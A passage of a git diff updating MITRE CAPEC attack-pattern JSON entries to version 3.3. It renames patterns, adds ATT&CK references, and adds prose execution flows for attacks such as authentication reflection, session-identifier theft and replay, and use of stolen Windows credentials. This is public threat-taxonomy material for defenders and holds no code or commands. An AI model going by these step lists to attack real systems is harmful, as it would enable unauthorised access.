", "x_capec_likelihood_of_attack": "High", "x_capec_prerequisites": [ "The target host is logging the action and data of the user.", @@ -85,7 +92,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--1e333aaf-0029-41ab-b164-590851ff2e9a.json b/capec/attack-pattern/attack-pattern--1e333aaf-0029-41ab-b164-590851ff2e9a.json index 5e7ec1a47d..3d3dcbcf48 100644 --- a/capec/attack-pattern/attack-pattern--1e333aaf-0029-41ab-b164-590851ff2e9a.json +++ b/capec/attack-pattern/attack-pattern--1e333aaf-0029-41ab-b164-590851ff2e9a.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--4db3532d-0a5c-4894-b230-14a34b0cd1fa", + "id": "bundle--7f6d7a0c-a960-46e8-9e4a-591eb61daf0c", "spec_version": "2.0", "objects": [ { @@ -40,7 +40,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "Low", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--1f3b920a-a706-494c-9486-69531a514912.json b/capec/attack-pattern/attack-pattern--1f3b920a-a706-494c-9486-69531a514912.json index 1d22ab89ff..696c873088 100644 --- a/capec/attack-pattern/attack-pattern--1f3b920a-a706-494c-9486-69531a514912.json +++ b/capec/attack-pattern/attack-pattern--1f3b920a-a706-494c-9486-69531a514912.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--9924d230-7833-4f94-b891-dd4ae84fdecc", + "id": "bundle--2ac027f1-cdb6-479b-ba46-6681282e9587", "spec_version": "2.0", "objects": [ { @@ -36,7 +36,7 @@ ], "x_capec_status": "Draft", "x_capec_typical_severity": "Medium", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--1fa1539d-4a13-4453-bf43-ad0987b2fbf5.json b/capec/attack-pattern/attack-pattern--1fa1539d-4a13-4453-bf43-ad0987b2fbf5.json index 00dcb7d13c..70e11f144b 100644 --- a/capec/attack-pattern/attack-pattern--1fa1539d-4a13-4453-bf43-ad0987b2fbf5.json +++ b/capec/attack-pattern/attack-pattern--1fa1539d-4a13-4453-bf43-ad0987b2fbf5.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--5f72f01c-e1e2-48ab-bb5c-8cf6f68d17c4", + "id": "bundle--db17c7e3-e444-4de1-b3f3-7372d0007eab", "spec_version": "2.0", "objects": [ { @@ -89,7 +89,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--1ff813eb-5def-43a0-a4b2-ea00aede114a.json b/capec/attack-pattern/attack-pattern--1ff813eb-5def-43a0-a4b2-ea00aede114a.json index 075ab37fa4..8ff97a7b8a 100644 --- a/capec/attack-pattern/attack-pattern--1ff813eb-5def-43a0-a4b2-ea00aede114a.json +++ b/capec/attack-pattern/attack-pattern--1ff813eb-5def-43a0-a4b2-ea00aede114a.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--90db9e44-bdc4-41c5-89fd-8d1601c0cdc7", + "id": "bundle--18831a2a-87eb-4e3b-bcb4-7315039730ec", "spec_version": "2.0", "objects": [ { @@ -36,7 +36,7 @@ ], "x_capec_status": "Draft", "x_capec_typical_severity": "Medium", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--2166d3c5-baec-4f42-8284-c1b5b649ad34.json b/capec/attack-pattern/attack-pattern--2166d3c5-baec-4f42-8284-c1b5b649ad34.json index 3393b62513..8f1918cc70 100644 --- a/capec/attack-pattern/attack-pattern--2166d3c5-baec-4f42-8284-c1b5b649ad34.json +++ b/capec/attack-pattern/attack-pattern--2166d3c5-baec-4f42-8284-c1b5b649ad34.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--c4e3a448-6bf4-4ae0-b870-d1161a2210fb", + "id": "bundle--61a0dd37-3266-4415-bf83-4f2a406143e5", "spec_version": "2.0", "objects": [ { @@ -30,7 +30,7 @@ ], "x_capec_status": "Draft", "x_capec_typical_severity": "Medium", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--21fcd732-cb8b-4716-b74e-abdf6b031e14.json b/capec/attack-pattern/attack-pattern--21fcd732-cb8b-4716-b74e-abdf6b031e14.json index 5ff159105e..f7e4c70022 100644 --- a/capec/attack-pattern/attack-pattern--21fcd732-cb8b-4716-b74e-abdf6b031e14.json +++ b/capec/attack-pattern/attack-pattern--21fcd732-cb8b-4716-b74e-abdf6b031e14.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--e0c7156d-5ba1-4051-98db-5d2ad103acc3", + "id": "bundle--2e2c329a-58f4-4441-9b50-836627501587", "spec_version": "2.0", "objects": [ { @@ -23,7 +23,7 @@ ], "x_capec_abstraction": "Detailed", "x_capec_status": "Deprecated", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--2231936f-0dda-4736-a089-9e734231907c.json b/capec/attack-pattern/attack-pattern--2231936f-0dda-4736-a089-9e734231907c.json index 6567685022..c99237b1a0 100644 --- a/capec/attack-pattern/attack-pattern--2231936f-0dda-4736-a089-9e734231907c.json +++ b/capec/attack-pattern/attack-pattern--2231936f-0dda-4736-a089-9e734231907c.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--16677edd-a87f-4fe0-a337-ef7fec934ede", + "id": "bundle--749133ab-1802-44f6-ba57-594b6dc2dd77", "spec_version": "2.0", "objects": [ { @@ -8,9 +8,9 @@ "id": "attack-pattern--2231936f-0dda-4736-a089-9e734231907c", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", - "name": "Read Sensitive Strings Within an Executable", - "description": "An adversary engages in activities to discover any sensitive strings are present within the compiled code of an executable, such as literal ASCII strings within the file itself, or possibly strings hard-coded into particular routines that can be revealed by code refactoring methods including static and dynamic analysis. One specific example of a sensitive string is a hard-coded password. Typical examples of software with hard-coded passwords include server-side executables which may check for a hard-coded password or key during a user's authentication with the server. Hard-coded passwords can also be present in client-side executables which utilize the password or key when connecting to either a remote component, such as a database server, licensing server, or otherwise, or a processes on the same host that expects a key or password. When analyzing an executable the adversary may search for the presence of such strings by analyzing the byte-code of the file itself. Example utilities for revealing strings within a file include 'strings,' 'grep,' or other variants of these programs depending upon the type of operating system used. These programs can be used to dump any ASCII or UNICODE strings contained within a program. Strings can also be searched for using a hex editors by loading the binary or object code file and utilizing native search functions such as regular expressions.", + "modified": "2020-07-30T00:00:00.000Z", + "name": "Read Sensitive Constants Within an Executable", + "description": "\n An adversary engages in activities to discover any sensitive constants present within the compiled code of an executable.\n These constants may include literal ASCII strings within the file itself, or possibly strings hard-coded into particular routines that can be revealed by code refactoring methods including static and dynamic analysis. One specific example of a sensitive string is a hard-coded password. Typical examples of software with hard-coded passwords include server-side executables which may check for a hard-coded password or key during a user's authentication with the server. Hard-coded passwords can also be present in client-side executables which utilize the password or key when connecting to either a remote component, such as a database server, licensing server, or otherwise, or a processes on the same host that expects a key or password. When analyzing an executable the adversary may search for the presence of such strings by analyzing the byte-code of the file itself. Example utilities for revealing strings within a file include 'strings,' 'grep,' or other variants of these programs depending upon the type of operating system used. These programs can be used to dump any ASCII or UNICODE strings contained within a program. Strings can also be searched for using a hex editors by loading the binary or object code file and utilizing native search functions such as regular expressions.\n Additionally, sensitive numeric values can occur within an executable. This can be used to discover the location of cryptographic constants.\n ", "external_references": [ { "source_name": "capec", @@ -22,6 +22,12 @@ "url": "http://cwe.mitre.org/data/definitions/798.html", "external_id": "CWE-798" }, + { + "source_name": "ATTACK", + "description": "Unsecured Credentials:Credentials in files", + "url": "https://attack.mitre.org/wiki/Technique/T1552/001", + "external_id": "T1552.001" + }, { "source_name": "reference_from_CAPEC", "description": "Wikipedia, The Wikimedia Foundation, Inc", @@ -53,7 +59,7 @@ ], "x_capec_status": "Draft", "x_capec_typical_severity": "Low", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--22802ed6-ddc6-4da7-b6be-60b10d26198b.json b/capec/attack-pattern/attack-pattern--22802ed6-ddc6-4da7-b6be-60b10d26198b.json index 9dc21a5ab3..4850f1c9d2 100644 --- a/capec/attack-pattern/attack-pattern--22802ed6-ddc6-4da7-b6be-60b10d26198b.json +++ b/capec/attack-pattern/attack-pattern--22802ed6-ddc6-4da7-b6be-60b10d26198b.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--96fe9cb5-6cb7-4e1b-b6a5-605248aab970", + "id": "bundle--02a29359-05f2-4558-91af-3a569839f707", "spec_version": "2.0", "objects": [ { @@ -50,7 +50,7 @@ ], "x_capec_status": "Stable", "x_capec_typical_severity": "Medium", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--229804f0-b017-4a26-937b-159da866bf9a.json b/capec/attack-pattern/attack-pattern--229804f0-b017-4a26-937b-159da866bf9a.json index 7adfe7981a..cb7f641a44 100644 --- a/capec/attack-pattern/attack-pattern--229804f0-b017-4a26-937b-159da866bf9a.json +++ b/capec/attack-pattern/attack-pattern--229804f0-b017-4a26-937b-159da866bf9a.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--22618bbf-3029-4521-bd33-5e0417f36fe3", + "id": "bundle--c1be5b05-cc27-4869-9a23-8f15da5b5a20", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--229804f0-b017-4a26-937b-159da866bf9a", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Reflection Attack in Authentication Protocol", "description": "An attacker can abuse an authentication protocol susceptible to reflection attack in order to defeat it. Doing so allows the attacker illegitimate access to the target system, without possessing the requisite credentials. Reflection attacks are of great concern to authentication protocols that rely on a challenge-handshake or similar mechanism. An attacker can impersonate a legitimate user and can gain illegitimate access to the system by successfully mounting a reflection attack during authentication.", "external_references": [ @@ -55,6 +55,7 @@ "x_capec_example_instances": [ "\n A single sign-on solution for a network uses a fixed pre-shared key with its clients to initiate the sign-on process in order to avoid eavesdropping on the initial exchanges.\n An attacker can use a reflection attack to mimic a trusted client on the network to participate in the sign-on exchange.\n " ], + "x_capec_execution_flow": "

Execution Flow

Experiment

  1. The attacker opens a connection to the target server and sends it a challenge

  2. The server responds by returning the challenge encrypted with a shared secret as well as its own challenge to the attacker

  3. Since the attacker does not possess the shared secret, they initiate a second connection to the server and sends it, as challenge, the challenge received from the server on the first connection

  4. The server treats this as just another handshake and responds by encrypting the challenge and issuing its own to the attacker

  5. The attacker now receives the encrypted challenge on the second connection and sends it as response to the server on the first connection, thereby successfully completing the handshake and authenticating to the server.

", "x_capec_likelihood_of_attack": "High", "x_capec_prerequisites": [ "The attacker must have direct access to the target server in order to successfully mount a reflection attack. An intermediate entity, such as a router or proxy, that handles these exchanges on behalf of the attacker inhibits the attackers' ability to attack the authentication protocol." @@ -67,7 +68,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--22a65c6a-9498-4e7f-a03a-030ab1c907dc.json b/capec/attack-pattern/attack-pattern--22a65c6a-9498-4e7f-a03a-030ab1c907dc.json index 332240077d..0a72573cc4 100644 --- a/capec/attack-pattern/attack-pattern--22a65c6a-9498-4e7f-a03a-030ab1c907dc.json +++ b/capec/attack-pattern/attack-pattern--22a65c6a-9498-4e7f-a03a-030ab1c907dc.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--0331f548-a99b-4b02-a082-a4148f332f2b", + "id": "bundle--1b11018c-5840-4322-b690-b60e0800edc9", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--22a65c6a-9498-4e7f-a03a-030ab1c907dc", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2015-11-09T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Application Footprinting", "description": "An adversary engages in active probing and exploration activities to determine the type or version of an application installed on a remote target. This differs from fingerprinting where the attacker's action is passive through the examination of application output.", "external_references": [ @@ -16,6 +16,12 @@ "source_name": "capec", "url": "https://capec.mitre.org/data/definitions/580.html", "external_id": "CAPEC-580" + }, + { + "source_name": "ATTACK", + "description": "Software Discovery", + "url": "https://attack.mitre.org/wiki/Technique/T1518", + "external_id": "T1518" } ], "object_marking_refs": [ @@ -36,7 +42,7 @@ }, "x_capec_status": "Stable", "x_capec_typical_severity": "Low", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--2351ee64-dd85-4bc3-bb43-aaa2ca5c1228.json b/capec/attack-pattern/attack-pattern--2351ee64-dd85-4bc3-bb43-aaa2ca5c1228.json index 65a9e796e8..fa1546fc20 100644 --- a/capec/attack-pattern/attack-pattern--2351ee64-dd85-4bc3-bb43-aaa2ca5c1228.json +++ b/capec/attack-pattern/attack-pattern--2351ee64-dd85-4bc3-bb43-aaa2ca5c1228.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--6656678d-8b60-4b37-8896-4c933f1625d6", + "id": "bundle--a3d84ad6-0224-4c8b-bb84-442b15c44c4b", "spec_version": "2.0", "objects": [ { @@ -8,9 +8,9 @@ "id": "attack-pattern--2351ee64-dd85-4bc3-bb43-aaa2ca5c1228", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2015-11-09T00:00:00.000Z", - "name": "Exploitation of Trusted Credentials", - "description": "Attacks on session IDs and resource IDs take advantage of the fact that some software accepts user input without verifying its authenticity. For example, a message queuing system that allows service requesters to post messages to its queue through an open channel (such as anonymous FTP), authorization is done through checking group or role membership contained in the posted message. However, there is no proof that the message itself, the information in the message (such group or role membership), or indeed the process that wrote the message to the queue are authentic and authorized to do so. Many server side processes are vulnerable to these attacks because the server to server communications have not been analyzed from a security perspective or the processes \"trust\" other systems because they are behind a firewall. In a similar way servers that use easy to guess or spoofable schemes for representing digital identity can also be vulnerable. Such systems frequently use schemes without cryptography and digital signatures (or with broken cryptography). Session IDs may be guessed due to insufficient randomness, poor protection (passed in the clear), lack of integrity (unsigned), or improperly correlation with access control policy enforcement points. Exposed configuration and properties files that contain system passwords, database connection strings, and such may also give an attacker an edge to identify these identifiers. The net result is that spoofing and impersonation is possible leading to an attacker's ability to break authentication, authorization, and audit controls on the system.", + "modified": "2020-07-30T00:00:00.000Z", + "name": "Exploitation of Trusted Identifiers", + "description": "\n An adversary guesses, obtains, or \"rides\" a trusted identifier (e.g. session ID, resource ID, cookie, etc.) to perform authorized actions under the guise of an authenticated user or service. Attacks leveraging trusted identifiers typically result in the adversary laterally moving within the local network, since users are often allowed to authenticate to systems/applications within the network using the same identifier. This further allows the adversary to obtain sensitive data, download/install malware on the system, pose as a legitimate user for social engineering purposes, and more.\n Attacks on trusted identifiers take advantage of the fact that some software accepts user input without verifying its authenticity. For example, in a message queuing system that allows service requesters to post messages to its queue through an open channel (such as anonymous FTP), authorization is done through checking group or role membership contained in the posted message. However, there is no proof that the message itself, the information in the message (such group or role membership), or the process that wrote the message to the queue is authentic and authorized to do so. Many server side processes are vulnerable to these attacks because the server to server communications have not been analyzed from a security perspective or the processes \"trust\" other systems because they are behind a firewall. Similarly, servers that use easy to guess or spoofable schemes for representing digital identity can also be vulnerable. Such systems frequently use schemes without cryptography and digital signatures (or with broken cryptography). Identifiers may be guessed or obtained due to insufficient randomness, poor protection (passed/stored in the clear), lack of integrity (unsigned), or improper correlation with access control policy enforcement points. Exposed configuration and properties files that contain sensitive data may additionally provide an adversary with the information needed to obtain these identifiers. An adversary may also \"ride\" an identifier via a malicious link, as is the case in Cross Site Request Forgery (CSRF) attacks.\n Regardless of the attack vector, successful spoofing and impersonation of trusted credentials can lead to an adversary breaking authentication, authorization, and audit controls with the target system or application.\n ", "external_references": [ { "source_name": "capec", @@ -62,6 +62,12 @@ "url": "http://cwe.mitre.org/data/definitions/642.html", "external_id": "CWE-642" }, + { + "source_name": "ATTACK", + "description": "Access Token Manipulation:Token Impersonation/Theft", + "url": "https://attack.mitre.org/wiki/Technique/T1134/001", + "external_id": "T1134.001" + }, { "source_name": "reference_from_CAPEC", "description": "G. Hoglund, G. McGraw, Exploiting Software: How to Break Code, 2004--02, Addison-Wesley", @@ -76,7 +82,7 @@ "Access_Control": [ "Gain Privileges" ], - "Authorization": [ + "Authentication": [ "Gain Privileges" ], "Confidentiality": [ @@ -88,21 +94,25 @@ ] }, "x_capec_example_instances": [ - "\n Thin client applications like web applications are particularly vulnerable to session ID attacks. Since the server has very little control over the client, but still must track sessions, data, and objects on the server side, cookies and other mechanisms have been used to pass the key to the session data between the client and server. When these session keys are compromised it is trivial for an attacker to impersonate a user's session in effect, have the same capabilities as the authorized user. There are two main ways for an attacker to exploit session IDs.\n A brute force attack involves an attacker repeatedly attempting to query the system with a spoofed session header in the HTTP request. A web server that uses a short session ID can be easily spoofed by trying many possible combinations so the parameters session-ID= 1234 has few possible combinations, and an attacker can retry several hundred or thousand request with little to no issue on their side.\n The second method is interception, where a tool such as wireshark is used to sniff the wire and pull off any unprotected session identifiers. The attacker can then use these variables and access the application.\n " + "\n Thin client applications like web applications are particularly vulnerable to session ID attacks. Since the server has very little control over the client, but still must track sessions, data, and objects on the server side, cookies and other mechanisms have been used to pass the key to the session data between the client and server. When these session keys are compromised it is trivial for an adversary to impersonate a user's session in effect, have the same capabilities as the authorized user. There are two main ways for an adversary to exploit session IDs.\n A brute force attack involves an adversary repeatedly attempting to query the system with a spoofed session header in the HTTP request. A web server that uses a short session ID can be easily spoofed by trying many possible combinations so the parameters session-ID= 1234 has few possible combinations, and an adversary can retry several hundred or thousand request with little to no issue on their side.\n The second method is interception, where a tool such as wireshark is used to sniff the wire and pull off any unprotected session identifiers. The adversary can then use these variables and access the application.\n " ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Survey the application for Indicators of Susceptibility: Using a variety of methods, until one is found that applies to the target, the adversary probes for cookies, session tokens, or entry points that bypass identifiers altogether.

    2. Techniques
    Spider all available pages
    Attack known bad interfaces
    Search outward-facing configuration and properties files for identifiers.

Experiment

  1. Fetch samples: The adversary fetches many samples of identifiers. This may be through legitimate access (logging in, legitimate connections, etc.) or via systematic probing.

    2. Techniques
    An adversary makes many anonymous connections and records the session IDs assigned.
    An adversary makes authorized connections and records the session tokens or credentials issued.
    An adversary gains access to (legitimately or illegitimately) a nearby system (e.g., in the same operations network, DMZ, or local network) and makes a connection from it, attempting to gain the same privileges as a trusted system.

Exploit

  1. Impersonate: An adversary can use successful experiments or authentications to impersonate an authorized user or system or to laterally move within a system or application

  2. Spoofing: Malicious data can be injected into the target system or into a victim user's system by an adversary. The adversary can also pose as a legitimate user to perform social engineering attacks.

  3. Data Exfiltration: The adversary can obtain sensitive data contained within the system or application.

", "x_capec_likelihood_of_attack": "High", "x_capec_prerequisites": [ - "Server software must rely on weak session IDs proof and/or verification schemes" + "Server software must rely on weak identifier proof and/or verification schemes.", + "Identifiers must have long lifetimes and potential for reusability.", + "Server software must allow concurrent sessions to exist." ], "x_capec_resources_required": [ - "Ability to deploy software on network. Ability to communicate synchronously or asynchronously with server" + "Ability to deploy software on network.", + "Ability to communicate synchronously or asynchronously with server." ], "x_capec_skills_required": { "Low": "To achieve a direct connection with the weak or non-existent server session access control, and pose as an authorized user" }, - "x_capec_status": "Draft", + "x_capec_status": "Stable", "x_capec_typical_severity": "High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--247019da-353e-4910-9d11-7dc6c0421a17.json b/capec/attack-pattern/attack-pattern--247019da-353e-4910-9d11-7dc6c0421a17.json index 9b712b510b..ac158c9919 100644 --- a/capec/attack-pattern/attack-pattern--247019da-353e-4910-9d11-7dc6c0421a17.json +++ b/capec/attack-pattern/attack-pattern--247019da-353e-4910-9d11-7dc6c0421a17.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--c15c7648-a7be-4a4a-863e-0d3e9be3eaa2", + "id": "bundle--e67b597d-9347-4ef2-94ea-f37ccb5ccd76", "spec_version": "2.0", "objects": [ { @@ -8,9 +8,9 @@ "id": "attack-pattern--247019da-353e-4910-9d11-7dc6c0421a17", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", - "name": "XML Oversized Payloads", - "description": "Applications often need to transform data in and out of the XML format by using an XML parser. It may be possible for an adversary to inject data that may have an adverse effect on the XML parser when it is being processed. By supplying oversized payloads in input vectors that will be processed by the XML parser, an adversary can cause the XML parser to consume more resources while processing, causing excessive memory consumption and CPU utilization, and potentially cause execution of arbitrary code. An adversary's goal is to leverage parser failure to his or her advantage. In many cases this type of an attack will result in a XML Denial of Service (XDoS) due to an application becoming unstable, freezing, or crashing. However it is possible to cause a crash resulting in arbitrary code execution, leading to a jump from the data plane to the control plane [R.231.1]. XDoS is most closely associated with web services, SOAP, and Rest, because remote service requesters can post malicious XML payloads to the service provider designed to exhaust the service provider's memory, CPU, and/or disk space. The main weakness in XDoS is that the service provider generally must inspect, parse, and validate the XML messages to determine routing, workflow, security considerations, and so on. It is exactly these inspection, parsing, and validation routines that XDoS targets. This attack exploits the loosely coupled nature of web services, where the service provider has little to no control over the service requester and any messages the service requester sends.", + "modified": "2020-07-30T00:00:00.000Z", + "name": "Oversized Serialized Data Payloads", + "description": "Applications often need to transform data in and out of serialized data formats, such as XML and YAML, by using a data parser. It may be possible for an adversary to inject data that may have an adverse effect on the parser when it is being processed. By supplying oversized payloads in input vectors that will be processed by the parser, an adversary can cause the parser to consume more resources while processing, causing excessive memory consumption and CPU utilization, and potentially cause execution of arbitrary code. An adversary's goal is to leverage parser failure to their advantage. In many cases this type of an attack will result in an XML Denial of Service (XDoS) or similar Denial of Service (DoS) due to an application becoming unstable, freezing, or crashing. However it is possible to cause a crash resulting in arbitrary code execution, leading to a jump from the data plane to the control plane [REF-89]. DoS is most closely associated with web services, SOAP, and Rest, because remote service requesters can post malicious data payloads to the service provider designed to exhaust the service provider's memory, CPU, and/or disk space. The main weakness in serialized data related DoS is that the service provider generally must inspect, parse, and validate the data messages to determine routing, workflow, security considerations, and so on. It is exactly these inspection, parsing, and validation routines that DoS targets. This attack exploits the loosely coupled nature of web services, where the service provider has little to no control over the service requester and any messages the service requester sends.", "external_references": [ { "source_name": "capec", @@ -76,10 +76,11 @@ "Execute Unauthorized Commands" ] }, + "x_capec_execution_flow": "

Execution Flow

Explore

  1. An adversary determines the input data stream that is being processed by an serialized data parser on the victim's side.

Experiment

  1. An adversary crafts input data that may have an adverse effect on the operation of the data parser when the data is parsed on the victim's system.

", "x_capec_likelihood_of_attack": "Medium", "x_capec_prerequisites": [ - "An application uses an XML parser to perform transformation on user-controllable data.", - "An application does not perform sufficient validation to ensure that user-controllable data is safe for an XML parser." + "An application uses an parser for serialized data to perform transformation on user-controllable data.", + "An application does not perform sufficient validation to ensure that user-controllable data is safe for a data parser." ], "x_capec_skills_required": { "High": "Arbitrary code execution", @@ -87,7 +88,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--25946b99-9827-40a6-99a4-ca15eea08e5d.json b/capec/attack-pattern/attack-pattern--25946b99-9827-40a6-99a4-ca15eea08e5d.json index 5481577c87..3e68ddfe7b 100644 --- a/capec/attack-pattern/attack-pattern--25946b99-9827-40a6-99a4-ca15eea08e5d.json +++ b/capec/attack-pattern/attack-pattern--25946b99-9827-40a6-99a4-ca15eea08e5d.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--9dfb06eb-d511-4d4b-ba41-2afc846a3c61", + "id": "bundle--7e5db4b4-72f9-471b-8d03-f04dbbbacd13", "spec_version": "2.0", "objects": [ { @@ -43,7 +43,7 @@ }, "x_capec_status": "Stable", "x_capec_typical_severity": "Low", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--25aafa9d-84f2-4f9d-a19e-280e20bcd16c.json b/capec/attack-pattern/attack-pattern--25aafa9d-84f2-4f9d-a19e-280e20bcd16c.json index 891d79acc3..a7a3852fa6 100644 --- a/capec/attack-pattern/attack-pattern--25aafa9d-84f2-4f9d-a19e-280e20bcd16c.json +++ b/capec/attack-pattern/attack-pattern--25aafa9d-84f2-4f9d-a19e-280e20bcd16c.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--f175099f-67fc-44d0-95fa-8748a9dcfbf0", + "id": "bundle--7db9ac2e-b681-4d76-b054-73ba4ddff667", "spec_version": "2.0", "objects": [ { @@ -22,6 +22,12 @@ "url": "http://cwe.mitre.org/data/definitions/200.html", "external_id": "CWE-200" }, + { + "source_name": "ATTACK", + "description": "System Time Discovery", + "url": "https://attack.mitre.org/wiki/Technique/T1124", + "external_id": "T1124" + }, { "source_name": "reference_from_CAPEC", "description": "Stuart McClure, Joel Scambray, George Kurtz, Hacking Exposed: Network Security Secrets & Solutions (6th Edition), 2009, McGraw Hill", @@ -72,7 +78,7 @@ ], "x_capec_status": "Stable", "x_capec_typical_severity": "Low", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--2618d0a4-06d0-4bde-8271-2df61ed8297a.json b/capec/attack-pattern/attack-pattern--2618d0a4-06d0-4bde-8271-2df61ed8297a.json new file mode 100644 index 0000000000..7c5f634b4c --- /dev/null +++ b/capec/attack-pattern/attack-pattern--2618d0a4-06d0-4bde-8271-2df61ed8297a.json @@ -0,0 +1,115 @@ +{ + "type": "bundle", + "id": "bundle--1a145cf3-adb9-4942-b5a8-151aea3d4ea7", + "spec_version": "2.0", + "objects": [ + { + "type": "attack-pattern", + "id": "attack-pattern--2618d0a4-06d0-4bde-8271-2df61ed8297a", + "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", + "created": "2020-07-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", + "name": "Use of Known Windows Credentials", + "description": "An adversary guesses or obtains (i.e. steals or purchases) legitimate Windows domain credentials (e.g. userID/password) to achieve authentication and to perform authorized actions on the domain, under the guise of an authenticated user or service. Attacks leveraging trusted Windows credentials typically result in the adversary laterally moving within the local Windows network, since users are often allowed to login to systems/applications within the domain using their Windows domain password. This domain authentication can occur directly (user typing in their password or PIN) or via Single Sign-On (SSO) or cloud-based authentication, which often don't verify the authenticity of the user's input. Known credentials are usually obtained by an adversary via a system/application breach and/or by purchasing dumps of credentials on the dark web. These credentials may be further gleaned via exposed configuration and properties files that contain system passwords, database connection strings, and other sensitive data. Utilizing known Windows credentials, an adversary can obtain sensitive data from administrator shares, download/install malware on the system, pose as a legitimate user for social engineering purposes, and more. Ultimately, successful spoofing and impersonation of trusted credentials can lead to an adversary breaking authentication, authorization, and audit controls with the target system or application.", + "external_references": [ + { + "source_name": "capec", + "url": "https://capec.mitre.org/data/definitions/653.html", + "external_id": "CAPEC-653" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/522.html", + "external_id": "CWE-522" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/307.html", + "external_id": "CWE-307" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/308.html", + "external_id": "CWE-308" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/309.html", + "external_id": "CWE-309" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/262.html", + "external_id": "CWE-262" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/263.html", + "external_id": "CWE-263" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/654.html", + "external_id": "CWE-654" + }, + { + "source_name": "reference_from_CAPEC", + "description": "Dan Goodin, Attackers can use Zoom to steal users\u2019 Windows credentials with no warning, 2020--04---01, Ars Technica", + "url": "https://arstechnica.com/information-technology/2020/04/unpatched-zoom-bug-lets-attackers-steal-windows-credentials-with-no-warning/", + "external_id": "REF-575" + }, + { + "source_name": "reference_from_CAPEC", + "description": "Jeff Warren, How Attackers are Stealing Your Credentials with Mimikatz, 2017--07---11, STEALTHbits Technologies, Inc.", + "url": "https://blog.stealthbits.com/how-attackers-are-stealing-your-credentials-with-mimikatz/", + "external_id": "REF-576" + } + ], + "object_marking_refs": [ + "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" + ], + "x_capec_abstraction": "Standard", + "x_capec_consequences": { + "Access_Control": [ + "Gain Privileges" + ], + "Authentication": 